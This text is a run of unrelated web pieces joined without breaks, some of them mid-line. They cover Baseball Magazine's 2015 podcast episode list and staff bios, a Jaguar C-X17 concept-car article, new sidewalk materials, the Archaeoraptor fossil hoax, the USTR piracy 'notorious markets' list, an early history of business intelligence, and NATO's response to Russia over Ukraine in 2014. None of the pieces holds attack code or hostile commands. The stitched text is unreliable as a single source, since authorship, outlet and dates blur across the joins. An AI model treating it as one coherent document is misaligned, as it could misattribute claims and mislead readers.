Baseball Magazine is excited to be partners in our love of baseball history, by teaming up with Brian Wright, founder and host of Baseball As It Was, a weekly podcast covering all topics baseball history.
2015 Season Episodes:2015 Season Episodes:
NEW EPISODE!!! October 6th with former Angels and Tigers hurler, Frank Tanana!
September 24th with longtime broadcaster, Bob Wolff
September 15th with former Yankees, Orioles, and Dodgers backstop, Rick Dempsey
August 31st with former National League MVP, Dick Groat
August 19th with Heather Quinlan, filmmaker of an upcoming ’86 Mets documentary
August 10th with Granddaughter of HOFer Yogi Berra, Lindsay Berra
July 30th with former Cy Young Award Winner, Frank Viola
July 23rd with National Baseball Hall of Fame & Museum President Jeff Idelson
July 20th with Washington Nationals’ author Barry Svrluga
July 7th with MLB Network contributor and Sports Illustrated writer, Tom Verducci
June 29th with Hall of Fame outfielder and member of the Big Red Machine, Tony Perez
June 18th with former Astros flame-throwing legend, J.R. Richard
June 11th with former Red Sox pitcher, Spaceman Bill Lee
June 1st with former Dodgers’ pitcher Carl Erskine
May 21st with Cooperstown Mayor and author of Split Season, Jeff Katz
May 14th with former Astros and Dodgers slugger Jimmy Wynn
May 7th with longtime pitcher and Yankees’ broadcaster Jim Kaat
April 27th with author of Billy Martin biography, Bill Pennington
April 16th with former hurler and Golden Spikes Award winner Jim Abbott
April 9th with Babe Ruth’s daughter, Julia Ruth Stevens
April 1st with former MLB pitcher Jerry Reuss
March 24th with Director Terry Lukemire, discussing his Pete Rose documentary.
To access the archive of all episodes, click this link.
No sport has a richer history than baseball, and Baseball as It Was is the place where those memories are recalled. This weekly podcast provides a look to the past with a nod to the present – featuring in-depth interviews with former players, authors and other notable personalities of the sport.
Recent guests include Fred Lynn, Tommy John, Ken Burns, Willie Mays Aikens, Roberto Clemente, Jr., Larry Dierker, and Jerry Koosman.
The Staff
Billy Brost (Founder/Editor-in-Chief): Our magazine’s founder, Billy Brost, has had a long and storied history in the writing and editing field. First published when he was 13, Billy’s calling card later on in his career was coming to struggling sites, cleaning them up, and leaving them as sites that made an impact in the baseball blogosphere. His last stop, at Fansided, garnered him not one, but two sites (Yanks Go Yard & Friars On Base) that became high-content producing machines. Billy was honored for his hard work by being named the Fansided MLB Co-Editor of the Year for 2014 along with fellow editor Jason Evans. He is also the founder of WestCoastYankees-The Blog, which has been in it’s current format since 2008. Billy is a member of the Internet Baseball Writers Association of America, the Society For American Baseball Research, and the Baseball Bloggers Alliance. His passions are baseball and history, as he earned both his BA and MA in history from the University of Nevada Las Vegas. Billy’s dream was to resurrect the defunct print version of Baseball Magazine (which ceased production in 1957) and bring it into the 21st Century. He resides in Riverton, Wyoming with his wife and two children. In his spare time, he coaches youth baseball at the Little League and American Legion levels, and serves on his county’s historical preservation commission. You can follow Billy on Twitter @Billy_Brost. Dan Hughes (Associate Editor): Dan Hughes has been writing at various outlets since 2003. He founded a now-defunct monthly sports magazine (The Oregon Tailgater – 2005-2007) focusing specifically on the state of Oregon. Most recently, Dan spent almost two years as the Managing Editor of a Seattle Mariners site as part of a blogging network. With fellow contributor Charlie Spencer-Davis serving as co-editor, they turned a virtually empty site into a top destination for Seattle Mariners fans, increasing views by over 400% in one year and eclipsing one million views in 2014. Dan lives in Salem, Oregon with his beautiful wife of 16 years, Amy, as well as three amazing kids. When Dan isn’t writing or delivering packages for UPS, he’s coaching his 12-year old son’s JBO team or rooting on the Atlanta Braves and Seattle Mariners. You can follow Dan on Twitter at @Degan4baseball. Charlie Spencer-Davis (Contributing Writer): One of the youngest of our writing bunch, Charlie is set to graduate from Boston College in May 2015 with BAs in International Studies and French. A die-hard Mariners fan born and raised in Seattle, Charlie has spent much of his life writing in his spare time. Fortunately, two years ago, he was taken on as a staff writer at Fansided’s Mariners site: SodoMojo.com. In two years with the site, he helped turn the once-dormant news source into a well-liked and often-read Mariners outlet. After being promoted to co-editor a year in— working alongside fellow Baseball Magazine contributor Dan Hughes— Charlie was a part of a turnaround that saw Sodo Mojo increase site traffic by 400 percent in 2014, reaching 1 million views for the first time in site history. Since parting ways with Sodo Mojo, Charlie has been writing for his college courses and applying for graduate programs in Creative Writing. When he’s not writing about baseball, he’s usually reading a book or watching sports or working as the Head Student Manager for the Boston College football team. You can follow him on Twitter @C14SpencerD. Eric Becker (Contributing Writer/Videographer):Eric Becker has a B.A. in Sociology from the University of California at Irvine and an MBA with an emphasis in finance from the University of Redlands. Eric’s a 4th generation Dodger fan with family roots in Brooklyn who’s first word was, quite literally, “Dodger.” In addition to his work with Baseball Magazine, Eric is currently in charge of West Coast Bias Sports’ Dodgers page, “DodgerVerse” (http://www.dodgerverse.com) Eric enjoys immersing himself in the fan community and frequently attends and documents Dodger fan community events. If Eric could create a niche for himself, it would be to spend baseball season travelling the country, stopping at different major and minor league ballparks, and documenting the unique sights, sounds and fan communities surrounding each team. A resident of Covina, California, a Los Angeles suburb, Eric can frequently be found at baseball games in Los Angeles and sometimes in Anaheim which he swears is still on the other side of the Orange County line from April through October. Eric has two children, Ava and Jude, who tend to keep him occupied when he isn’t working, sleeping, watching baseball or trying to remember how to play guitar. Eric’s favorite craft beer is Extra Red from the Ritual Brewing Company in Redlands, California just in case you were wondering what to get him for Christmas this year. You can follow him on Twitter at @BeckerWCBias if he ever figures out how to actually use the platform. David Warren (Contributing Writer): David earned his B.A and M.A from the University of Nevada, Las Vegas in History. His passion for history and baseball has helped gain an even larger appreciation and desire to learn about the early twentieth century years of baseball. Growing up in San Diego, David became a life-long San Diego Padres fan which helped him land his first editing job to help grow Friars on Base at Fansided from May 2014-Oct 2014. Currently, David currently resides back in Las Vegas after being offered a teaching job. When he is not teaching middle school students social studies, David can be found watching Los Angeles Kings hockey, reading a historical baseball book, or watching The Walking Dead. You can follow David on Twitter: @davidwarren25. Jacob Misener (Contributing Writer) : Jacob is a die-hard Chicago Cubs fan who grew up in the Steroid Era, which, believe it or not, he loves to reminisce about often. Favorite players include Randy Johnson and Craig Biggio. Believes that Wrigley Field is the greatest place on earth. 2013 graduate of Augustana College in Rock Island, Illinois. While in attendance, Jacob worked as the editor-in-chief of the student-run campus newspaper, leading it to record-breaking success in each of his three years at the helm. Post-graduation, he served as the managing editor for two newspapers – one in central Illinois and the other in western Nebraska. He currently works as the editor of Redbird Rants and Cubbies Crib, the latter of which is on pace for over 1.5 million views this year. You can follow Jacob on Twitter @jacobrmisener Matt Mirro (Contributing Writer): Matt is a student in New York where he has proudly called home all his life. He has followed the New York Yankees religiously since elementary school and also enjoys learning about the history of baseball. Matt has written for a number of websites including Yanks Go Yard, Friars on Base, Baseball Essential, New York Sports Hub and is currently the Lead American League Writer at Call to the Bullpen, an MLB.com affiliate. He is a certified member of the Internet Baseball Writers Association of America. Follow Matt on Twitter @Mirro_The_Ronin. Patrick Leary (Contributing Writer): Patrick graduated from Marquette University, past home of such luminaries as Dwyane Wade, Chris Farley and the dad from That’s So Raven, in 2015 with a B.A. in journalism. He is currently an aspiring reporter cycling through various stages of employment, and has worked for the Milwaukee Journal Sentinel and The Arizona Republic. He’s also written or edited several sports blogs about various topics, mostly regarding his native Seattle. In the meantime, he makes the highly questionable decision to devote significant time and energy to the worst franchise in the history of professional baseball, the Seattle Mariners. If you say anything negative about Felix Hernandez around him, including criticizing his admittedly horrifying neck tattoo, the conversation will immediately end. Other athletic spirit animals of his include Yoenis Cespedes, JJ Reddick and Mix Diskerud. You can follow him on Twitter at @patrickkleary if you generally enjoy irreverent sports commentary. J.J. Keller (Contributing Writer): JJ Keller is currently in college on his way to earning a degree in History Education with the hopes of becoming a high school teacher, but writing of all sorts has become a passion over the years. A lifelong Seattle Mariners fan, JJ began as a staff writer for Sodo Mojo in 2012 at the age of 16 and remained there through 2014, working under fellow Baseball Magazine members Dan Hughes and Charlie Spencer-Davis for much of that time. From there, he had an idea for another site in the Fansided Network, which became a sabermetrics site called Statliners, creating a stat-friendly baseball community within the network. Since stepping down, JJ had taken a hiatus from sports writing but decided Baseball Magazine was a great place to start up again, and hopes bring an analytical perspective to the site in the process. Apart from the Mariners, who take up too much of his life for his own good, JJ enjoys watching T.V. (he says Breaking Bad is the best show of all time and will not listen to any dissenting opinions), reading Batman comics, and thinking about how cool it would be to write a screenplay. You can find him on Twitter @KJ_Jeller. Eric Gray (Contributing Writer): Eric is from Plainview, New York, and got his BA from SUNY New Paltz. His major was Political Science, and he had an “undeclared” minor in English and writing. He moved to San Francisco and spent his career with the Department of Labor overseeing job training programs for disadvantaged youth. He has been married for 36 years to Lynn, and their two children, Rachel and David. They are huge Giants fans. Eric’s interests have always been family, friends, baseball and rock and roll. He is a “rookie” at writing about baseball, but has written poetry and song lyrics his whole life. His poem was read at his college commencement celebration. He is currently working on an as of yet untitled anthology of baseball memories from the fan’s perspective, so he is collecting stories from folks about their experiences with the game. They include things ranging from watching a Sandy Koufax no-hitter to meeting Jackie Robinson when he was a minor leaguer to receiving a marriage proposal on the scoreboard during a game. He can be followed on Twitter, if he ever decides to post something, at @ericcgray1. Jason Evans (Contributing Writer): Jason is from Westchester County, N.Y. and grew up a Yankee fan in a house full of Mets fans. He has a Masters in sports management from Manhattanville College. He currently writes for Fansided, where along with B-M editor-in-chief Billy Brost, was named Fansided’s Co-Editor of the Year for the network’s MLB Division. Jason was formerly the co-editor of Yanks Go Yard along with Friars On Base. Jason has also worked for the NY Islanders, Sirius/XM Radio and MLB productions. Follow him on Twitter @jasonjpevans. Jacob Winters (Contributing Writer): Jacob was born and raised in New York City and is a life long baseball fan. As early as he can remember, he obsessively read about historical games, seasons, players, and stats. He’s written and contributed for baseball websites, such as Yanks Go Yard, Friars On Base, and It’s Friar Time. Also, he is a co-host of the upcoming podcast Big Apple Bosses. Follow him on Twitter @wintersball. Now in his 20’s, his knowledge of the game and it’s history has grown along with him. Jeff Baker (Cover Artist): Jeff was born and raised in San Luis Obisbo, California and has resided in sunny Arizona for the past 27 years. Married for the last six years to his beautiful wife, Alison, they have a precious 3-year-old daughter and a baby boy due in December. Jeff runs the Gypsy Oak Studio Collection and specializes in creating small sports pieces using nineteenth century printing techniques, which includes relief and woodcut-style printing on antique and vintage reclaimed items. Jeff works mainly on private commissions and you can find Gypsy Oak artwork in three museums, one of which is the National Baseball Hall of Fame and Museum in Cooperstown, New York.
BaseballMagazine.netHere it is then: Jaguar’s brave new future, the C-X17 crossover concept car, unveiled of the eve of the 2013 Frankfurt motor show. Officially, it’s nothing more than a Frankfurt-bound design study to show off the talent of Jaguar’s new ‘iQ Al’ modular aluminium platform. But with the luxury crossover market in overdrive and armed with a contender that looks this sharp, you can bet this is far more than a statement of intent...
>> Click here for CAR's A-Z guide to the 2013 Frankfurt motor show
I’m not sure whether to love it or hate the Jaguar C-X17…
For a traditional sporting British brand like Jaguar to even consider a posh-roader will be blasphemous to many. But, look how well the Cayenne serves Porsche – and remember the upcoming super-SUVs from Bentley, Lamborghini and Rolls-Royce, and you just can’t argue with the potential rewards. Besides, are you really going to deny that the C-X17 looks sensational?
For more unseen Jaguar CX-17 location photos and an in-depth feature, pick up the October 2013 issue of CAR magazine, out Wednesday 18 September
I spot F-type here, XJ there – but not much Range Rover. What gives?
Jaguar’s acclaimed designer Ian Callum told CAR that though his team was naturally aware of sister brand Land Rover’s huge success with the new Range Rover – and its Evoque little sister – they strived to give the C-X17 its own identity, concentrating on the silhouette to create a sporty profile.
The front lights are clearly related to the XF and XJ saloons’ clusters, while the trademark' box' grille appears unchanged from its transition from regular Leaping Cat to 4x4. And F-type influences are obvious in the rear lights and tailgate surfacing, but the C-X17 manages to sidestep the ‘sports car on stilts’ landmine trodden on by the Mk1 Porsche Cayenne.
Surely it’s all concept car nonsense, though?
Not as much as you’d think. Callum admits the glasshouse is slim, and the 23in wheels a necessity to enhance the C-X17’s ‘look-at-me’ wow factor on motor show stages. But in fact, nothing about the bodywork is outlandish enough to deny production feasibility – it’s even got proper door mirrors and handles.
Aha! I’ve just spotted the Starship Enterprise interior…
True, the cabin is more outlandish, but look closer and you’ll see it’s merely a de-cluttered, minimalist take on current Jaguar interior design. There’s still a transmission tunnel-mounted rotary gear selector, three digital dials for ventilation and temperature control (like on the F-type) and a Range Rover Evoque-esque sloped centre console containing a central infotainment touchscreen.
That's the new Jaguar SUV, then. Over to you...
Click here for CAR's interview with Jaguar design boss Ian Callum on the new C-X17's interior
Click here for the lowdown on the Jaguar C-X17's new aluminium chassis
Click here to watch the global unveiling of the Jaguar C-X17
>> What are your thoughts on the Jaguar C-X17’s styling, and the philosophy behind building a luxury crossover? Click ‘Add your comment’ to sound off on one of 2013’s most hotly anticipated carsSome cities have started to rethink the traditional sidewalk as a result. Local governments and technology companies all over the world are considering new ways of building pedestrian pathways that go beyond the common mix of cement and aggregate we know as concrete. These materials have broadened not only how cities construct sidewalks but also the very notion of what a sidewalk can be. They can now enhance walkability, generate renewable energy, and improve public safety, even as they withstand all those tree roots that have been breaking concrete slabs for decades.
Concrete has long been the go-to material for sidewalks because it's strong and cheap. The typical stretch of walkway can last decades; New Jersey sidewalks have an estimated lifespan of 75 years. But concrete has its drawbacks, too, especially for cities intent on improving walkability. Tree roots can crack concrete, creating hazards for pedestrians (especially wheelchair users and parents pushing strollers), and the more a tree grows the more its surrounding sidewalk swells. Frequent replacement can get costly — about $35 per square foot in Los Angeles — and self-healing concrete exists more in theory than in practice.
Sidewalks can be a source of passive energy, too. Last fall, George Washington University's Virginia Science and Technology Campus, in Ashburn, unveiled "Solar Walk," a 100-square foot section of walkable solar panels. At peak production, the small solar installation can generate enough energy to power 450 LED lights in the pathway — not exactly a power plant, but a scalable idea that takes advantage of huge amounts of power-creating potential on the ground.
On the higher end of the technology spectrum is a growing interest in using sidewalks — and the people who walk on them — as energy generators. A U.K. company called Pavegen has created a recycled rubber paving tile that converts the pressure of pedestrian footsteps into kinetic electricity. The tiles have been installed in train stations, playgrounds, and offices throughout the U.K. and France, and are used as an off-grid power source for street lamps, harvesting the energy of thousands of footsteps.
Snowy cities from New York to Minneapolis have begun experimenting with heated sidewalks. Though typically poured with traditional concrete, these sidewalks are embedded with a vascular system of tubing that carries heated water, warming the surface just enough to melt snow and ice. The systems are expensive; costs can climb over $100,000 for a stretch of heated sidewalk in front of an apartment or at a train stop. But as both doormen in New York and local officials in Minneapolis can attest, the melted snow greatly reduces the need for shoveling as well as the hazards of slipping.
Another sidewalk company, Pro-Teq Surfacing, has gone even more passive by creating a spray-on substance that can make walkways glow in the dark. The material absorbs and stores UV light during the day and releases it at night, creating a spacey blueish glow. The company has started to test its spray on a small section of walkway in a park in Cambridge, England.
But the most common new sidewalk technology is the flexible rubberized sidewalk. Often composites of old tires and recycled plastics, these rubber-based materials aim to counteract the destruction tree roots cause to concrete slabs. The city of Santa Monica, California, has been a leader in adopting rubberized sidewalks since 2000, and many other U.S. cities have followed. The rubberized panels, manufactured by Southern California-based Terrecon Inc., are secured to each other as well as the ground, offering a smoother walking surface with fewer gaps between panels for people to trip on. There's an estimated 20,000 square feet of rubberized sidewalk throughout the city today.
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In Santa Monica, these little groups of off-gray rubber sidewalk panels are typically found next to the trunks of Ficus trees. Though they look almost like concrete, one step reveals a slightly softer surface. They have a little give, though not so much that pedestrians sink in or bounce off. You can easily walk — or bike or wheelchair — over them, though some are lumpier than others. The tree roots may not be breaking through the surface, but they're still growing and, in some cases, turning the flexible ground into a wavy terrain. It can feel like walking on a funhouse mirror.
These results are less than ideal. After years of experiments with different materials and iterations of rubberized sidewalks, the city's not sure the idea will work. "It has not panned out from a maintenance standpoint as we expected," says Sylvester Mabry Jr., manager of Street and Fleet Services for the city
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The supposed fossil of Archaeoraptor, which was to become known as the "Piltdown turkey", came to light in 1999 when National Geographic magazine published an account of its discovery. It seemed to show another missing link - this time between birds and dinosaurs. Archaeoraptor appeared to be the remains of a large feathered bird with the tail of a dinosaur. The fossil was smuggled out of China and sold to a private collector in the US for £51,000. Experts were suspicious and closer examination showed the specimen to be a "composite" - two fossils stuck together with strong glue.
David AdamThe US Government has classified some of the largest websites on the Internet as examples of sites which sustain global piracy. The list released by the United States Trade Representative draws exclusively on input from rightsholders. It includes popular torrent sites such as The Pirate Bay, file-hosting service Megaupload and Russia’s leading social network VKontakte.
In its second “Out-of-Cycle Review of Notorious Markets”, the United States Trade Representative (USTR) has listed more than a dozen websites and physical markets which are reportedly involved in piracy and counterfeiting.
The list is based solely on input from lobby groups including the RIAA and MPAA, who submitted their recommendations a few weeks ago. While the USTR admits that the list is not meant to reflect legal violations, the websites mentioned in the report “merit further investigation” for their alleged infringing behavior.
“These are marketplaces that have been the subject of enforcement action or that may merit further investigation for possible intellectual property rights infringements. The scale and popularity of these markets can cause economic harm to U.S. and other IP right holders,” the report reads.
As in previous reports, the largest category of allegedly infringing sites are BitTorrent related. The USTR points out that BitTorrent can also be used for lawful purposes, but it lists The Pirate Bay, isoHunt, BTJunkie, Kat.ph and Torrentz.eu as examples of possibly unlawful sites.
“Despite the criminal conviction of its founders, the Sweden-based ThePirateBay continues to facilitate the download of unauthorized content. ThePirateBay recently ranked among the top 100 websites in both global and U.S. traffic, according to Alexa.com,” the report explains TPB’s inclusion.
Aside from the BitTorrent indexes and search engines above, USTR also lists several BitTorrent trackers that may be investigated further. The report highlights the Russian based Rutracker, Demonoid, and the Bulgarian tracker Zamunda.
The USTR also zooms in on two of the world’s largest file-hosting services, Megaupload and Putlocker. This pushes Megaupload into the spotlight for the second time this month, after a public endorsement by a wide range of celebrity stars resulted in a YouTube takedown scandal and a subsequent lawsuit last week.
According to the USTR, Megaupload is highlighted as an alleged piracy haven because it “allows for the unauthorized distribution of protected content through subscriptions and reward schemes to popular uploaders.”
Finally, USTR’s decision to include the Russian Facebook competitor Vkontakte is also noteworthy. Not only because it’s a social network, but also because VKontakte spokesman Vladislav Tsypluhin recently noted that the company’s copyright problems are in the past after a deal was made with the USTR.
“We have an arrangement with the U.S. Trade Representative’s office, they will check our copyright compliance, and then we will be excluded from the list of pirate sites,” Tsypluhin said.
The RIAA and MPAA were quick to praise the USTR for their contribution. However, the list raises questions, as it brands businesses as rogue piracy havens solely based on input from entertainment industry lobby groups. Even sites that have cooperated with the USTR for months remain highlighted.
This is worrying, not least because the U.S. Government will grant these lobbying groups more control over the internet if the SOPA and PIPA bills pass next year.Business intelligence, or BI as it is commonly referred to, has gained considerable popularity over the past decade. Although the term was first introduced in 1865, and picked up momentum in the mid-late 1980’s, it was only up until the early 1990’s that the phrase entered public discourse. Now it is widely deployed among business users across all industry verticals – including retail, ecommerce, healthcare, banking, hospitality, and even sports.
In this three-part series, we will look at the history of BI by decade – starting with 1960’s and 70’s, all the way through to the turn of the millenium – to analyze both how the term has evolved, and where it might be heading.
The History of Business Intelligence
Historically, information has been an unavoidable ingredient in the quest for advanced knowledge. Information lies at the backbone of almost every seminal innovation – scientific or otherwise — from Michael Faraday’s discovery of electricity and Charles Babbage’s mechanical computer, to the sequencing of the human genome. Fundamentally, information is about answers and answers, we have repeatedly learned, lead to insights.
Information, however, has many forms and applications. For business users, information is primarily found in data, and more specifically, in business data – which is comprised of sales, accounting, human resources, production, and more generally, people, products and places.
With this data, businesses can “yield significant information to provide historical, current, and predictive views of business operations” and improve performance considerably. This is, at it’s core, what business intelligence about. But before we define the term, knowing its history will help us understand the terms and processes involved in BI.
The 1960’s and 70’s
Before computers and digital storage were invented, business data would be kept in physical filing systems. However, after IBM invented the hard disk in 1956 (which at the time could store 5MB of data), and storage technologies such as the floppy disk became more widespread, traditional methods like punch cards came to an end. As computers arrived, business started using laserdisc’s, magnetic tape, and larger, more efficient hard disks to store their data.
Yet, while the storage of data advanced, companies realised that these devices were expensive, difficult to manage, and proved to be time consuming when extracting data. Above all, there was no centralised method, or technology, that could bring together all of this data. This is where hierarchical Database Management Systems (DBMS), like IBM’s IMS, started to pick up. This type of DBMS was based on binary trees, where data was arranged in a hierarchical tree structure of parent and two child records. The benefits were multifarious; there was “less redundant data, data independence, security and integrity, which all lead to efficient searches.” Further experiments with these systems, like the CODASYL group’s network DBMS (where each child record could have multiple parents, instead of simply one), paved the way for additional innovation in data organization.
While DBMS’s radically changed the way data was collected, stored and entered, access to this data remained difficult. It was only until the mid-1970’s that leading business intelligence vendors — like SAP, Siebal Systems, and JD Edwards — started offering business applications to companies so that they could analyse and access their data. Prior to this,
“End-Users had to wait for everything…the earlier tools designed for query and reporting were sold as do-it-yourself solutions, though the idea was fascinating the solutions at times did very little solving at all.” (source)
Business vendors like the aforementioned helped greatly with the automation of systems and the amount of data available. However, due to the lack of infrastructure for data exchange and unharmonious systems, the process of collection still remained a big challenge. As such, although access had improved, it remained difficult because data was entering from multiple sources and business applications and could only be accessed individually. As such, “this led to a one dimensional approach, and could only provide access in silos, ultimately resulting in fragmented data.” (source)
RDBMS & The Emergence of Data Warehouse
The real success of the 70’s was the emergence of relational database management systems (RDBMS). Edgar Codd, an IBM researcher at the time, saw the navigational model of CODASYL’s approach as problematic: users had to manually find their way through significant amounts of complexity to find the data they needed. In his paper, “A Relational Model of Data for Large Shared Data Banks,” Codd completely transformed the way databases were conceived from “…a simple means of organization,” to, “a tool for querying data to find relations hidden within.” In essence, Codd’s idea made it easier for people to enter and “grab” the data they required. As one article explains,
“All tables will be then linked by either one to one relationships, one to many, or many to many. When elements took space and were not useful, it was easy to remove them from the original table, and all the other “entries” in other tables linked to this record were removed.”
Although two RDMBS projects were developed and launched in the 70’s (R of IBM and INGRES from the University of California), it was only until the late 1980’s and early 1990’s that RDMBS’s really took off. Furthermore, the term “data warehouse” emerged in the 70’s and would ultimately change the way people, and specifically business intelligence, would operate.
This will be the focus of the next edition.
(Image Credit: Header, Flickr; Second Image, Pingdom; Third Image, Pingdom)
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Furhaad Shah – Editor
Furhaad worked as a researcher/writer for The Times of London and is a regular contributor for the Huffington Post. He studied philosophy on a dual programme with the University of York (U.K.) and Columbia University (U.S.) He is a native of London, United Kingdom.
Email: [email protected]
Interested in more content like this? Sign up to our newsletter, and you wont miss a thing!In Brussels last Saturday for an emergency meeting of the European Union, Lithuanian President Dalia Grybauskaitè described Russia as “practically in a war against Europe.” Indeed, it’s no longer enough that Russia seems poised for a full-on war with Ukraine. In recent days, and with NATO leaders headed for a summit this week in Wales, the larger issue of security on the European continent has become far more urgent.
There are few lingering doubts as to Vladimir Putin’s eagerness to flex Russian muscle in regions once under the Soviet thumb. This week, Putin reportedly told a European official that he could “take Kyiv in two weeks” if he wanted. Earlier, on Aug. 27, a mass of Russian tanks, artillery and troops reportedly crossed into Ukraine—prompting Ukrainian President Petro Poroshenko to declare that the region was “close to a point of no return: full-scale war.” Two days later, Putin addressed an exuberant crowd at a pro-Kremlin youth camp near Moscow. He reminded his supporters: “Russia is one of the leading nuclear powers”—and warned everyone else: “It’s best not to mess with us.” The Ukrainian government responded with an announcement that it will reinstate mandatory army conscription throughout the country.
While Ukraine is not a NATO member, NATO leaders have responded. On Monday, officials announced that the alliance will create a “spearhead” rapid reaction force, comprised of up to several thousand troops, that could be dispatched to an Eastern European conflict zone in as little as two days (rapid reaction forces currently take five days to arrive on site)—and would be supported by military equipment stockpiles, stored at alliance bases in the region. The unit, said NATO Secretary-General Anders Fogh Rasmussen, would “travel light, but strike hard.” Days earlier, Britain and a coalition of six NATO allies agreed to create a “joint expeditionary force” of at least 10,000 soldiers (as well as air and naval units), which would boost NATO’s power in the event of a crisis in the region.
Meanwhile, angst mounts in what Russian officials often term their “near abroad.” In August, Polish Prime Minister Donald Tusk told reporters that he had “reason to believe that the threat of a direct intervention” was growing. Nearby, the Baltic states of Estonia and Latvia—which boast large Russian-speaking populations—worry about falling victim to the so-called Putin Doctrine, by which Russia claims a right to protect ethnic Russians it deems threatened, in whatever sovereign nation they might live. As Polish Foreign Minister Radoslaw Sikorski once famously observed: “Russia has never actually invaded Poland—instead it always ‘came to help.’ ”
NATO’s Rasmussen last week described the Ukraine crisis as a “wake-up call” for the alliance. At the summit this week, NATO leaders are expected to agree, for the first time, on significant military deployments to new bases in eastern member states: Lithuania, Latvia, Estonia and Poland, which are pleading for NATO boots on the ground. NATO leaders are also expected to discuss a re-establishment of large-scale military exercises in central and Eastern Europe.
It was not supposed to be this way. In 1997, less than a decade after the Soviet Union crumbled, the newly emerged Russian Federation struck a deal with the North Atlantic Treaty Organization—the alliance set up after the Second World War, in large part, to contain the Soviets. Under the 1997 NATO-Russia Founding Act, each side agreed not to “consider each other as adversaries.” For its part, NATO went a step further, promising no “additional permanent stationing of substantial combat forces” in the former Soviet sphere. For nearly two decades, this “geopolitical quarantine” held.
But a new battlefield Europe has been taking shape. On Aug. 27, Finland—which shares a long border with Russia, but which has never joined NATO—signed an agreement with the alliance that will make it easier for NATO to station troops on its soil. That same day, Russia’s permanent mission to NATO promised—vaguely, and via Twitter—that Moscow will react “with a view to ensure its security.”
Some critics contend a NATO ramp-up will only inflame Russia and make things worse in Europe. Others doubt the alliance’s ability to maintain a credible threat posture vis-à-vis Russia—especially given falling defence expenditures in most NATO member states. An August report by the U.K. House of Commons concludes: “NATO is currently not well-prepared for a Russian threat against a NATO member state.” “The Western response overall has been slow, small and late,” says John Herbst, the former U.S. ambassador to Ukraine, in an interview with Maclean’s. Western leaders “set what seem to be red lines, but when Putin crosses those red lines, they’re sidelined.” Despite belated NATO manoeuvring, says Herbst, Putin clearly “feels emboldened.”
Others still lament that while Ukraine was the inspiration for NATO’s push to mobilize, NATO heavyweights like the U.S. have thus far refused to offer military aid to Kyiv. Last week, U.S. President Barack Obama restated his “unwavering commitment to Ukraine and its people”—but affirmed, “We are not taking military action to solve the Ukraine problem.” Instead, NATO leaders will discuss the possibility of further economic sanctions against Russia. Depending on one’s view of things, Obama’s reticence is either a wise display of caution or an abandonment of Ukraine and, in turn, an indication that NATO will be more tempered going forward than its rhetoric suggests.
The issue of Ukraine’s relationship to the alliance is all the more pressing following Friday’s announcement from Ukrainian Prime Minister Arseniy Yatsenyuk that it will seek full NATO membership. In that case, “we will get a new Cold War,” says Lord David Owen, a former British foreign secretary and a former EU peace negotiator in Yugoslavia. “But it will be a very different Cold War this time.” No longer so isolated, Russia, he adds, is finding it easy to work with China, Japan and Turkey. Owen is in favour of EU membership for Kyiv, but thinks admitting Ukraine into NATO is against the alliance’s strategic interest. “Wars are started when people feel beleaguered and encircled. That’s the history of the 1914 war and we ought to understand that.”
NATO members have, nevertheless, taken steps to fortify the alliance’s defence posture. On a trip to Poland in early June, Obama announced plans for a nearly $1-billion European Reassurance Initiative (ERI), which would enable a bigger U.S. military presence in central and Eastern Europe. The announcement capped off an active spring season. In May, some 6,000 allied forces participated in “Steadfast Javelin 1”, a military drill in Estonia designed to repel an attack on the Baltic region. Around that time, NATO tripled its Baltic Air Policing Mission, began aerial surveillance flights over Poland and Romania and deployed two new NATO maritime groups to patrol the Baltic and Mediterranean seas. (On Monday, Canada’s Air Task Force joined the Baltic Air Policing mission with four CF-188 Hornet aircraft and over 130 personnel from the Royal Canadian Air Force.)
This is surely in recognition that Russia has spent the last few years bulking up its own military. In 2010, Moscow launched a massive 10-year weapons modernization scheme, estimated to cost a staggering $720 billion. “We have seen the Russians improve their ability to act swiftly,” acknowledged NATO’s Rasmussen, in August. “They can within a very, very, short time convert a major military exercise into an offensive military operation.” Even those who believe that Putin lacks the chutzpah to invade a NATO member fear Russia’s adeptness at launching cyber-attacks, propaganda campaigns and its ability to funnel support to pro-Russia rebels.
The strength of NATO is rooted in Article 5 of the treaty, which says that “an armed attack against one or more [members] shall be considered an attack against them all.” Yet over the years the goal of collective defence changed and NATO became more political in orientation. It began to busy itself in conflicts far and away, like Bosnia and Afghanistan. In 2002, the NATO-Russia Council was created to facilitate “consensus-building, and alliance leaders began to speak of Moscow as a “strategic partner.”
The alliance grew to 28 nations, with a large influx in the late ’90s after a long and tense debate within NATO about the wisdom of admitting former Soviet states. In 1999, the Czech Republic, Poland and Hungary signed on. In 2004, Lithuania, Latvia, Estonia, Romania, Slovakia, Slovenia and Bulgaria joined too. All the while, a wary Russia watched on. In 1995, Russian President Boris Yeltsin warned that “when NATO comes right up to the Russian Federation’s borders... The flame of war could burst out across the whole of Europe.” When Ukraine applied to join NATO’s “Membership Action Plan” in 2008, Russia’s deputy foreign minister called the possibility “a huge strategic mistake that would have most serious consequences.” Membership talks were shelved in 2010.
Today German Chancellor Angela Merkel heads NATO’s hold-back lobby. Merkel—who speaks Russian and has reportedly spoken to Putin dozens of times since Russia entered Crimea—has continued to oppose talk of building new bases in Eastern Europe. (The only NATO base east of the old Iron Curtain is on Poland’s Baltic coast, in the city of Szczecin.) But Merkel can hardly silence calls for help from Russia’s ex-satellites. When the three Baltic states of Estonia, Latvia and Lithuania achieved independence in 1991, they were left with virtually no military capability. Their forces remain small—and so, in their view, Baltic territorial integrity remains uncertain. In June, Lithuania’s president told the German magazine Focus that Russia had offered to reduce gas prices in Estonia and Latvia if the countries agreed to ditch their NATO membership.
But if Europe is to become battle-ready, it will surely happen first in Poland. Poland, too, has renewed calls for a permanent NATO presence, recently requesting that two NATO brigades (about 10,000 soldiers) be deployed forthwith. The request was denied. In the meantime, Warsaw has been steadily acquiring military equipment as part of a modernization scheme that will reportedly cost $45 billion by 2020. It is speeding up its planned purchased of 30 attack helicopters and reportedly working to acquire a new cache of long-range attack drones.
Warsaw has no shortage of motivation to act fast. The Russian threat is real and close to home. On Monday, Kyiv reported that pro-Russia rebels had made significant gains in the eastern Ukrainian city of Luhansk, where government forces were forced to abandon the airport. Ukrainian military spokesperson Andriy Lysenko claimed that the rebels were supported by “a Russian tank battalion.” Western analysts estimate that over 1,000 Russian troops are fighting alongside Ukraine’s pro-Russia separatists in a conflict that has, since mid-April, killed around 2,600 people.
